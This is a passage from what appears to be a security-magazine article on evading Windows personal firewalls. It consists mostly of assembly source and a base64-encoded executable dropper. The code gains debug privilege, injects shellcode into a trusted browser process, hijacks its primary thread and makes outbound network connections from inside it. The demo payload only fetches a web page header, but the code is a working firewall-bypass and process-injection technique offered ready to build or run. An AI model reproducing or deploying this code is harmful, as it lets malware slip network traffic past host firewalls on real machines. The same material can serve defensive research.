ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS MOV EAX,[EAX+078H] ; RVA of exports directory ADD EAX,k32base ; since RVA: add the base address MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY

MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array ADD EAX,k32base ; add the base address

MOV ECX,[EAX] ; ECX: RVA of the first string ADD ECX,k32base ; add the base address

MOV EAX,0 ; EAX will serve as a counter JMP M2 ; start looping

M1: INC EAX ; Increase EAX every loop M2: MOV EBX, 0 ; EBX will be the calculated hash

HASH: MOV EDX, EBX

SHL EBX, 05H

SHR EDX, 01BH

OR EBX, EDX

MOV EDX, 0

MOV DL, [ECX] ; Copy current character to DL ADD EBX, EDX ; and add DL to the hash value INC ECX ; increase the string pointer MOV DL, [ECX] ; next character in DL, now: CMP EDX, 0 ; check for null character JNE HASH

; This is where we take care of the forwarders. ; we will always subtract the number of forwarders ; that already occured from our iterator (EAX) to ; retrieve the appropriate offset from the second ; array.

PUSH EAX ; Safe EAX to the stack SUB EAX,forwards ; Subtract forwards IMUL EAX,4 ; addresses are DWORD's INC ECX ; Move the ECX pointer to the

; beginning of the next name

MOV EDX, expbase ; Load exports directory MOV EDX, [EDX+01CH] ; EDX: array of entry points ADD EDX, k32base ; add the base address MOV EDX, [EDX+EAX] ; Lookup the Function RVA ADD EDX, k32base ; add the base address MOV pGetProcAddress, EDX ; This will be correct once

; the loop is finished.

; Second stage of our forwarder check: If the ; "entry point" of this function points to the ; next string in array #1, we just found a forwarder.

CMP EDX, ECX ; forwarder check JNE FWD ; ignore normal entry points INC forwards ; This was a forwarder

FWD: POP EAX ; Restore EAX iterator CMP EBX, 099C95590H ; hash value for "GetProcAddress" JNE M1

; We have everything we wanted. I use a simple macro ; to load the functions by applying pGetProcAddress.

LPROC k32base, sGetModuleHandle, pGetModuleHandle LPROC k32base, sLoadLibrary, pLoadLibrary LPROC k32base, sFreeLibrary, pFreeLibrary

PSHS sUser32 ; we need user32.dll CALL pGetModuleHandle ; assume it is already loaded EJUMP INJECT_ERROR ; (we could use LoadLibrary) MOV u32base,EAX ; got it

PSHS sWS2_32 ; most important: winsock DLL CALL pLoadLibrary ; LoadLibrary("ws2_32.dll"); EJUMP INJECT_ERROR

MOV ws32base, EAX

LPROC u32base,sMessageBox,pMessageBox

LPROC ws32base,sWSAStartup,pWSAStartup

LPROC ws32base,sWSACleanup,pWSACleanup

LPROC ws32base,sSocket,pSocket

LPROC ws32base,sConnect,pConnect

LPROC ws32base,sSend,pSend

LPROC ws32base,sRecv,pRecv

LPROC ws32base,sClose,pClose

PSHS wsa ; see our artificial data segment PUSH 2 ; Version 2 is fine CALL pWSAStartup ; Do the WSAStartup() CMP EAX, 0

JNE INJECT_ERROR

PUSH 0

PUSH SOCK_STREAM ; A normal stream oriented socket PUSH AF_INET ; for Internet connections. CALL pSocket ; Create it.

CMP EAX, INVALID_SOCKET

JE INJECT_ERROR

MOV EBX,EAX

PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80 PSHS sAddr ; hardcoded structure PUSH EBX ; that's our socket descriptor CALL pConnect ; connect() to phrack.org CMP EAX, SOCKET_ERROR

JE INJECT_ERROR

PUSH 0 ; no flags

PUSH 028H ; 40 bytes to send PSHS sRequ ; the GET string PUSH EBX ; socket descriptor CALL pSend ; send() HTTP request CMP EAX, SOCKET_ERROR

JE INJECT_ERROR

; We now have to receive the server's reply. We only ; want the HTTP header to display it in a message box ; as an indicator for a successful bypass.

MOV ECX, 0 ; number of bytes received

PP: MOV EDX, iBase

ADD EDX, OFFSET sRepl‑inject

ADD EDX, ECX ; EDX is the current position inside

; the string buffer

PUSH EDX

PUSH ECX

PUSH 0 ; no flags

PUSH 1 ; one byte to receive PUSH EDX ; string buffer PUSH EBX ; socket descriptor CALL pRecv ; recv() the byte

POP ECX

POP EDX

CMP AL, 1 ; one byte received ? JNE PPE ; an error occured CMP ECX,2 ; check if we already received JS PP2 ; more than 2 bytes

MOV AL, [EDX] ; this is the byte we got CMP AL, [EDX‑2] ; we are looking for <CRLF><CRLF> JNE PP2

CMP AL, 10 ; we found it, most probably. JE PPE ; we only want the headers.

PP2: INC ECX

CMP ECX,600 ; 600 byte maximum buffer size JNE PP

PPE: PUSH EBX ; socket descriptor CALL pClose ; close the socket

PUSH 64 ; neat info icon and an ok button PSHS sCap ; the caption string PSHS sRepl ; www.phrack.org's HTTP header PUSH 0

CALL pMessageBox ; display the message box.

JMP INJECT_SUCCESS ; we were successful.

INJECT_SUCCESS:

MOV EAX, 1 ; return values are passed in EAX JMP INJECT_CLEANUP

INJECT_ERROR:

MOV EAX, 0 ; boolean return value (success)

INJECT_CLEANUP:

PUSH EAX ; save our return value CMP pWSACleanup,0

JE INJECT_DONE

CALL pWSACleanup ; perform cleanup CMP ws32base, 0 ; check if we have loaded ws2_32 JE INJECT_DONE

PUSH ws32base

CALL pFreeLibrary ; release ws2_32.dll

INJECT_DONE:

POP EAX ; retore the return value RET ; and return

inject ENDP

inject_end: END Main

‑[0x0C] :: tiny.exe source code ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is the ASM source code for the second bypass program.

.386

.MODEL flat, stdcall

INCLUDE windows.inc

INCLUDE kernel32.inc

INCLUDE advapi32.inc

bypass PROTO ; Tiny Firewall Bypass inject PROTO, iBase:DWORD ; injected function getsvc PROTO, pProcessInfo:DWORD ; finds running, trusted process getdbg PROTO ; enables the SE_DEBUG privilege

; The PSHS macro is used to push the address of some

; structure onto the stack inside the remote process'

; address space. iBase contains the address where the

; injected code starts.

PSHS MACRO BUFFER

MOV EDX, iBase

ADD EDX, OFFSET BUFFER ‑ inject

PUSH EDX

ENDM

; The LPROC macro assumes that pGetProcAddress holds

; the address of the GetProcAddress() API call and

; simulates its behaviour. PROCNAME is a string inside

; the injected code that holds the function name and

; PROCADDR is a DWORD variable inside the injected

; code that will retrieve the address of that function. ; BASEDLL, as the name suggests, should hold the

; base address of the appropriate DLL.

LPROC MACRO BASEDLL, PROCNAME, PROCADDR

PSHS PROCNAME

PUSH BASEDLL

CALL pGetProcAddress

EJUMP INJECT_ERROR

MOV PROCADDR, EAX

ENDM

EJUMP MACRO TARGET_CODE ; jump when EAX is 0.

CMP EAX, 0

JE TARGET_CODE

ENDM

.DATA

; This is the name of a trusted process to search for. ; If you know what you are doing, you can play with ; if and see whether other applications work with the ; current code (aka hijack primary thread).

; "OUTLOOK.EXE" works as well btw.

TRUSTED DB "IEXPLORE.EXE",0

SE_DEBUG DB "SeDebugPrivilege",0 ; debug privilege IEV_NAME DB "TINY0",0 ; our event name IEV_HANDLE DD ? ; event handle FUNCSZE EQU iend‑istart ; inject's size CODESZE EQU 19 ; size of our "shellcode" ALLSZE EQU FUNCSZE + CODESZE ; complete size FUNCADDR EQU istart ; offset of inject

; JUMPDIFF is the number of bytes from the beginning of ; the shellcode to the jump instruction. It is required ; to calculate the value of JUMP_ADDR, see below.

JUMPDIFF EQU 14

; This "shellcode" will be injected to the trusted ; process directly in fron of the injector procedure ; itself. It will simply call the injector function ; with its base address as the first argument and ; jump back to the address where we hijacked the ; thread afterwards. The addresses of our injected ; function (PUSH_ADDR) and the original EIP of the ; hijacked thread (JUMP_ADDR) will be calculated ; at runtime, of course.

SHELLCODE LABEL BYTE

PUSHAD_CODE DB 060H ; PUSHAD

PUSHFD_CODE DB 09CH ; PUSHFD

PUSH_CODE DB 068H ; PUSH <function address> PUSH_ADDR DD ?

CALL_CODE DB 0E8H ; CALL <function address> CALL_ADDR DD 07H

POPFD_CODE DB 09DH ; POPFD

POPAD_CODE DB 061H ; POPAD

JUMP_CODE DB 0E9H ; JUMP <original EIP> JUMP_ADDR DD ?

; <injector function>

; ...

.CODE

Main: ; not much to do except calling

; the bypass function in this sample.

INVOKE bypass

INVOKE ExitProcess, 0

getdbg PROC ; enables the SE_DEBUG privilege for ourself LOCAL token:HANDLE

LOCAL priv:TOKEN_PRIVILEGES

LOCAL luid:LUID

INVOKE LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid EJUMP DBE0

MOV priv.PrivilegeCount, 01H

MOV priv.Privileges.Attributes, 02H

MOV EAX,luid.LowPart

MOV priv.Privileges.Luid.LowPart,EAX

MOV EAX,luid.HighPart

MOV priv.Privileges.Luid.HighPart,EAX INVOKE GetCurrentProcess

MOV ECX,EAX

INVOKE OpenProcessToken,ECX,020H, ADDR token MOV ECX, token

CMP ECX, 0

JE DBE0

INVOKE AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0 MOV ECX,EAX

INVOKE CloseHandle, token

MOV EAX,ECX

DBE0: RET

getdbg ENDP

getsvc PROC, pProcessInfo:DWORD

; This function fills a PROCESS_INFORMATION

; structure with the ID and handle of the

; required trusted process and its primary

; thread. The tool helper API is used to

; retrieve this information.

LOCAL p32:PROCESSENTRY32

LOCAL t32:THREADENTRY32

LOCAL hShot:DWORD

MOV p32.dwSize, SIZEOF PROCESSENTRY32

MOV t32.dwSize, SIZEOF THREADENTRY32

INVOKE getdbg ; we need SE_DEBUG first

; Create a snapshot of all processes and

; threads. 06H is the appropriate bitmask

; for this purpose, look it up if you

; dont trust me.

INVOKE CreateToolhelp32Snapshot,06H,0

MOV hShot,EAX

; Start to search for the trusted process.

; We will compare the name of the process'

; primary module with the string buffer

; TRUSTED until we find a match.

INVOKE Process32First, hShot, ADDR p32

CMP EAX, 0

JE GSE1

GSL: LEA EDX, p32.szExeFile

INVOKE lstrcmpi, EDX, OFFSET TRUSTED

CMP EAX, 0 ; lstrcmpi is not case sensitive! JE GSL1 ; good, we found the process

INVOKE Process32Next, hShot, ADDR p32

CMP EAX, 0 ; no more processes,

JE GSE1 ; no success

JMP GSL ; otherwise, continue loop

; We have found an instance of the trusted

; process, continue to retrieve information

; about its primary thread and gain an open

; handle to both the process itself and the

; thread. To find the thread, we have to

; loop through all thread entries in our

; snapshot until we discover a thread that

; has been created by the process we found.

GSL1: INVOKE Thread32First, hShot, ADDR t32

MOV EBX, 0

TSL: MOV EDX, t32.th32OwnerProcessID

CMP EDX, p32.th32ProcessID

JE TSL0

INVOKE Thread32Next, hShot, ADDR t32

CMP EAX, 0 ; no more threads (weird),

JE GSE1 ; no success

JMP TSL ; otherwise, continue loop

; Now, since we have got the ID's of both

; the process itself and the primary thread,

; use OpenProcess() and OpenThread() to

; get a handle to both of them. You are right, ; OpenThread is NOT a documented call, but

; it looks like that was rather an accident.

; It is exported by kernel32.dll just like

; OpenProcess().

TSL0: MOV EDX, pProcessInfo ; the structure address

MOV EAX,p32.th32ProcessID ; copy the process ID MOV [EDX+08H], EAX

MOV EAX, t32.th32ThreadID ; copy the thread ID MOV [EDX+0CH], EAX

PUSH EDX ; safe the address

INVOKE OpenProcess, PROCESS_ALL_ACCESS, \ 0, p32.th32ProcessID

CMP EAX, 0

JE GSE1

MOV EBX, EAX

INVOKE OpenThread, THREAD_ALL_ACCESS, 0, \ t32.th32ThreadID

CMP EAX, 0

JE GSE1

POP EDX ; restore the address MOV [EDX], EBX ; copy the process handle MOV [EDX+04H], EAX ; copy the thread handle

PUSH 1 ; success

JMP GSE0

GSE1: PUSH 0 ; failure

GSE0: CMP hShot, 0

JE GSE

INVOKE CloseHandle, hShot ; cleanup

GSE: POP EAX ; pop the return value to EAX RET ; that's it.

getsvc ENDP

istart:

inject PROC, iBase:DWORD

LOCAL k32base :DWORD

LOCAL expbase :DWORD

LOCAL forwards :DWORD

LOCAL pGetProcAddress :DWORD

LOCAL pGetModuleHandle :DWORD

LOCAL pLoadLibrary :DWORD

LOCAL pFreeLibrary :DWORD

LOCAL pOpenEvent :DWORD

LOCAL pCloseHandle :DWORD

LOCAL pSetEvent :DWORD

LOCAL pMessageBox :DWORD

LOCAL u32base :DWORD

LOCAL ws32base :DWORD

LOCAL pWSAStartup :DWORD

LOCAL pWSACleanup :DWORD

LOCAL pSocket :DWORD

LOCAL pConnect :DWORD

LOCAL pSend :DWORD

LOCAL pRecv :DWORD

LOCAL pClose :DWORD

JMP IG

sGetModuleHandle DB "GetModuleHandleA" ,0 sLoadLibrary DB "LoadLibraryA" ,0 sFreeLibrary DB "FreeLibrary" ,0

sOpenEvent DB "OpenEventA" ,0 sCloseHandle DB "CloseHandle" ,0 sSetEvent DB "SetEvent" ,0 sFWPEVENT DB "TINY0" ,0

sUser32 DB "USER32.DLL" ,0 sMessageBox DB "MessageBoxA" ,0

sGLA DB "GetLastError" ,0

sWLA DB "WSAGetLastError" ,0

sWS2_32 DB "ws2_32.dll" ,0 sWSAStartup DB "WSAStartup" ,0 sWSACleanup DB "WSACleanup" ,0 sSocket DB "socket" ,0 sConnect DB "connect" ,0 sSend DB "send" ,0 sRecv DB "recv" ,0 sClose DB "closesocket" ,0

wsa LABEL BYTE

wVersion DW 0

wHighVersion DW 0

szDescription DB WSADESCRIPTION_LEN+1 DUP(0) szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0) iMaxSockets DW 0

iMaxUdpDg DW 0

lpVendorInfo DD 0

sAddr LABEL BYTE

sin_family DW AF_INET

sin_port DW 05000H

sin_addr DD 006EE3745H

sin_zero DQ 0

sStartC DB "SetUp Complete",0

sStart DB "Injector SetUp complete. ", \ "Sending request:",13,10,13,10

sRequ DB "GET / HTTP/1.0",13,10, \ "Host: www.phrack.org",\ 13,10,13,10,0

sCap DB "Injection successful",0 sRepl DB 601 DUP(0)

IG: ASSUME FS:NOTHING ; This is a MASM error bypass.

MOV EAX, FS:[030H] ; Get the Process Environment Block TEST EAX, EAX ; Check for Win9X JS W9X

WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO MOV ESI, [EAX+01CH] ; Get fLink from ordered module list LODSD ; Load the address of bLink into eax MOV EAX, [EAX+008H] ; Copy the module base from the list JMP K32 ; Work done

W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34) LEA EAX, [EAX+07CH] ; ...

MOV EAX, [EAX+03CH] ; ...

K32: MOV k32base,EAX ; Keep a copy of the base address MOV pGetProcAddress, 0 ; now search for GetProcAddress MOV forwards,0 ; Set the forwards to 0 initially

MOV pWSACleanup, 0 ; we will need these for error MOV ws32base, 0 ; checks lateron MOV pOpenEvent, 0

ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS MOV EAX,[EAX+078H] ; RVA of exports directory ADD EAX,k32base ; since RVA: add the base address MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY

MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array ADD EAX,k32base ; add the base address

MOV ECX,[EAX] ; ECX: RVA of the first string ADD ECX,k32base ; add the base address

MOV EAX,0 ; EAX will serve as a counter JMP M2 ; start looping

M1: INC EAX ; Increase EAX every loop M2: MOV EBX, 0 ; EBX will be the calculated hash

HASH: MOV EDX, EBX

SHL EBX, 05H

SHR EDX, 01BH

OR EBX, EDX

MOV EDX, 0

MOV DL, [ECX] ; Copy current character to DL ADD EBX, EDX ; and add DL to the hash value INC ECX ; increase the string pointer MOV DL, [ECX] ; next character in DL, now: CMP EDX, 0 ; check for null character JNE HASH

; This is where we take care of the forwarders. ; we will always subtract the number of forwarders ; that already occured from our iterator (EAX) to ; retrieve the appropriate offset from the second ; array.

PUSH EAX ; Safe EAX to the stack SUB EAX,forwards ; Subtract forwards IMUL EAX,4 ; addresses are DWORD's INC ECX ; Move the ECX pointer to the

; beginning of the next name

MOV EDX, expbase ; Load exports directory MOV EDX, [EDX+01CH] ; EDX: array of entry points ADD EDX, k32base ; add the base address MOV EDX, [EDX+EAX] ; Lookup the Function RVA ADD EDX, k32base ; add the base address MOV pGetProcAddress, EDX ; This will be correct once

; the loop is finished.

; Second stage of our forwarder check: If the ; "entry point" of this function points to the ; next string in array #1, we just found a forwarder.

CMP EDX, ECX ; forwarder check JNE FWD ; ignore normal entry points INC forwards ; This was a forwarder

FWD: POP EAX ; Restore EAX iterator CMP EBX, 099C95590H ; hash value for "GetProcAddress" JNE M1

; We have everything we wanted. I use a simple macro ; to load the functions by applying pGetProcAddress.

LPROC k32base, sGetModuleHandle, pGetModuleHandle LPROC k32base, sLoadLibrary, pLoadLibrary LPROC k32base, sFreeLibrary, pFreeLibrary

LPROC k32base, sOpenEvent, pOpenEvent

LPROC k32base, sCloseHandle, pCloseHandle LPROC k32base, sSetEvent, pSetEvent

PSHS sUser32 ; we need user32.dll CALL pGetModuleHandle ; assume it is already loaded EJUMP INJECT_ERROR ; (we could use LoadLibrary) MOV u32base,EAX ; got it

PSHS sWS2_32 ; most important: winsock DLL CALL pLoadLibrary ; LoadLibrary("ws2_32.dll"); EJUMP INJECT_ERROR

MOV ws32base, EAX

LPROC u32base,sMessageBox,pMessageBox

LPROC ws32base,sWSAStartup,pWSAStartup

LPROC ws32base,sWSACleanup,pWSACleanup

LPROC ws32base,sSocket,pSocket

LPROC ws32base,sConnect,pConnect

LPROC ws32base,sSend,pSend

LPROC ws32base,sRecv,pRecv

LPROC ws32base,sClose,pClose

PSHS wsa ; see our artificial data segment PUSH 2 ; Version 2 is fine CALL pWSAStartup ; Do the WSAStartup() CMP EAX, 0

JNE INJECT_ERROR

PUSH 0

PUSH SOCK_STREAM ; A normal stream oriented socket PUSH AF_INET ; for Internet connections. CALL pSocket ; Create it.

CMP EAX, INVALID_SOCKET

JE INJECT_ERROR

MOV EBX,EAX

PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80 PSHS sAddr ; hardcoded structure PUSH EBX ; that's our socket descriptor CALL pConnect ; connect() to phrack.org CMP EAX, SOCKET_ERROR

JE INJECT_ERROR

PUSH 0 ; no flags

PUSH 028H ; 40 bytes to send PSHS sRequ ; the GET string PUSH EBX ; socket descriptor CALL pSend ; send() HTTP request CMP EAX, SOCKET_ERROR

JE INJECT_ERROR

; We now have to receive the server's reply. We only ; want the HTTP header to display it in a message box ; as an indicator for a successful bypass.

MOV ECX, 0 ; number of bytes received

PP: MOV EDX, iBase

ADD EDX, OFFSET sRepl‑inject

ADD EDX, ECX ; EDX is the current position inside

; the string buffer

PUSH EDX

PUSH ECX

PUSH 0 ; no flags

PUSH 1 ; one byte to receive PUSH EDX ; string buffer PUSH EBX ; socket descriptor CALL pRecv ; recv() the byte

POP ECX

POP EDX

CMP AL, 1 ; one byte received ? JNE PPE ; an error occured CMP ECX,2 ; check if we already received JS PP2 ; more than 2 bytes

MOV AL, [EDX] ; this is the byte we got CMP AL, [EDX‑2] ; we are looking for <CRLF><CRLF> JNE PP2

CMP AL, 10 ; we found it, most probably. JE PPE ; we only want the headers.

PP2: INC ECX

CMP ECX,600 ; 600 byte maximum buffer size JNE PP

PPE: PUSH EBX ; socket descriptor CALL pClose ; close the socket

PUSH 64 ; neat info icon and an ok button PSHS sCap ; the caption string PSHS sRepl ; www.phrack.org's HTTP header PUSH 0

CALL pMessageBox ; display the message box.

JMP INJECT_SUCCESS ; we were successful.

INJECT_SUCCESS:

PUSH 1 ; return success JMP INJECT_CLEANUP

INJECT_ERROR:

PUSH 0 ; return failure

INJECT_CLEANUP:

PUSH EAX ; save our return value CMP pWSACleanup,0

JE INJECT_DONE

CALL pWSACleanup ; perform cleanup CMP ws32base, 0 ; check if we have loaded ws2_32 JE INJECT_DONE

PUSH ws32base

CALL pFreeLibrary ; release ws2_32.dll

; the following code is the only real difference ; to the code in sample #1. It is used to signal ; an event with the name "TINY0" so that the

; injector executable knows when this code has ; done its job.

CMP pOpenEvent, 0

JE INJECT_DONE

PSHS sFWPEVENT ; "TINY0"

PUSH 0 ; not inheritable PUSH EVENT_ALL_ACCESS ; whatever

CALL pOpenEvent ; open the event CMP EAX, 0

JE INJECT_DONE

MOV EBX, EAX

PUSH EBX

CALL pSetEvent ; signal the event

PUSH EBX

CALL pCloseHandle ; close the handle

INJECT_DONE:

POP EAX

RET ; and return

inject ENDP

iend:

bypass PROC

LOCAL pinf :PROCESS_INFORMATION LOCAL mct :CONTEXT

LOCAL dwReturn :DWORD ; return value LOCAL dwRemoteThreadID :DWORD ; remote thread ID LOCAL pbRemoteMemory :DWORD ; remote base address

MOV pinf.hProcess, 0

MOV pinf.hThread, 0

; First of all, creat the even that we need to get ; informed about the progress of our injected code.

INVOKE CreateEvent, 0, 1, 0, OFFSET IEV_NAME EJUMP BPE5

MOV IEV_HANDLE, EAX

; Find a suitable, trusted process that we can use ; to hijack its primary thread. We will then pause ; that primary thread and make sure that its suspend ; count is exactly 1. It might seem a bit too careful, ; but if the primary thread is already suspended at ; the moment of infection, we have a problem. Thus, ; we will rather make sure with some more commands ; that the thread can be resumed with a single call ; to ResumeThread().

INVOKE getsvc, ADDR pinf

EJUMP BPE5

INVOKE SuspendThread, pinf.hThread

CMP EAX, 0FFFFFFFFH

JE BPE3

CMP EAX, 0

JE SPOK

SPL: INVOKE ResumeThread, pinf.hThread

CMP EAX, 1

JNE SPL

; Here we go, the thread is paused and ready to be ; hijacked. First, we get the EIP register along with ; some others that do not interest us.

SPOK: MOV mct.ContextFlags, CONTEXT_CONTROL INVOKE GetThreadContext, pinf.hThread, ADDR mct EJUMP BPE2

; Now, allocate memory in the remote process' address ; space for the shellcode and the injected function

INVOKE VirtualAllocEx,pinf.hProcess,0,ALLSZE, \ MEM_COMMIT,PAGE_EXECUTE_READWRITE EJUMP BPE2

MOV pbRemoteMemory,EAX

MOV EBX, EAX ; EBX: remote base address

ADD EAX, CODESZE ; this is the future address MOV PUSH_ADDR, EAX ; of the inject function

MOV EAX, mct.regEip ; this is the current EIP MOV EDX, EBX ; EDX: remote base address ADD EDX, JUMPDIFF ; EDX: absolute address of JMP call

; Now we calculate the distance between the JMP call and ; the current EIP. The JMP CPU instruction is followed by ; a double word that contains the relative number of bytes ; to jump away from the current position. This is a signed ; long value which is basically added to the EIP register. ; To calculate the appropriate value, we need to subtract ; the position of the JMP call from the offset we want to ; jump to and subtract another 5 byte since the JMP ; instruction itself has that length.

SUB EAX, EDX

SUB EAX, 05H

MOV JUMP_ADDR, EAX

; Our shellcode is now complete, we will write it along ; with the inject function itself to the remote process.

INVOKE WriteProcessMemory,pinf.hProcess,EBX, \ OFFSET SHELLCODE,CODESZE,0

EJUMP BPE1

ADD EBX, CODESZE

INVOKE WriteProcessMemory,pinf.hProcess,EBX, \ FUNCADDR,FUNCSZE,0

EJUMP BPE1

; Done. Now hijack the primary thread by resetting its ; instruction pointer to continue the flow of execution ; at the offset of our own, injected code

MOV EDX, pbRemoteMemory

MOV mct.regEip, EDX

INVOKE SetThreadContext, pinf.hThread, ADDR mct EJUMP BPE1

; And let the thread continue ...

INVOKE ResumeThread, pinf.hThread

CMP EAX, 0FFFFFFFFH

JE BPE1

; Now this is where we are making use of the event we ; created. We will wait until the injected code signals ; the event (at a reasonable timeout) and sleep for ; another second to make sure our code has done its ; job completely before we start with the cleanup.

INVOKE WaitForSingleObject, IEV_HANDLE, 60000 CMP EAX, 0

JE BPOK

; However, if something goes wrong it is better ; to terminate the thread as silently as possible.

INVOKE TerminateThread, pinf.hThread, 1

BPOK: INVOKE Sleep, 1000

BPE1: INVOKE VirtualFreeEx,pinf.hProcess, \ pbRemoteMemory,ALLSZE,MEM_RELEASE

BPE2: INVOKE ResumeThread, pinf.hThread

BPE3: CMP pinf.hThread, 0

JE BPE4

INVOKE CloseHandle,pinf.hThread

BPE4: CMP pinf.hProcess, 0

JE BPE5

INVOKE CloseHandle,pinf.hProcess

BPE5: INVOKE CloseHandle, IEV_HANDLE

RET

bypass ENDP

END Main

‑[0x0D] :: binaries (base64) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

These are the binary version of the two sample applications for everyone who is unable to get the Assembler I used. Actually, the files below are python scripts that will decode the base64 encoded versions of the executables and create the respective binary file in its current directory. If you do not use python, you will have to find another way to decode them properly.

############################# injector.py #############################

from base64 import decodestring open("injector.exe","wb").write(decodestring(""" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB86B1FOIlzFjiJcxY4iXMWtpZgFiCJcxbEqWEWOY lzFlJpY2g4iXMWAAAAAAAAAABQRQAATAEDAO9yckAAAAAAAAAAAOAADwELAQUMAAoAAAAG AAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABAAAAABA AAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEwgAABQAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAC50ZXh0AAAAzgkAAAAQAAAACgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAC wCAAAAIAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABCAQAAADAAAAACAAAA EgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGg2MEAAaBowQABoAAAAgOiiCQAAg/gAdSto PjFAAGg6MEAAUP81NjBAAOiNCQAA/zU2MEAA6HYJAABoOjBAAOgHAAAAagDoNQkAAFWL7I PEnI1FvFDoMgkAAGbHRewAAI1FrFCNRbxQagBqAGoAagBqAGoA/3UIagDo9ggAAIP4AA+E xAAAAGgQJwAA/3Ws6DQJAACD+AAPha4AAACLXayLTbC6BwgAAGpAaAAQAABSagBT6OAIAA CD+AAPhKIAAACJRZy6BwgAAGoAUmhnEUAA/3WcU+jQCAAAg/gAdFyNRaRQagD/dZz/dZxq AGoAU+iFCAAAg/gAdDmJRaDHRagAAAAAav//daDolggAAI1FqFD/daDobAgAAIN9qAB1E2

oQaBIwQABoADBAAGoA6I8IAAD/daDoMwgAAGgAgAAAagD/dZxT6FMIAABqAFPoPwgAAP91 sOgTCAAA/3Ws6AsIAADJwgQAVYvsg8S86RUFAABHZXRNb2R1bGVIYW5kbGVBAExvYWRMaW JyYXJ5QQBGcmVlTGlicmFyeQBVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJv cgBXU0FHZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc2 9ja2V0AGNvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9y IFNldFVwIGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQ pIb3N0OiB3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 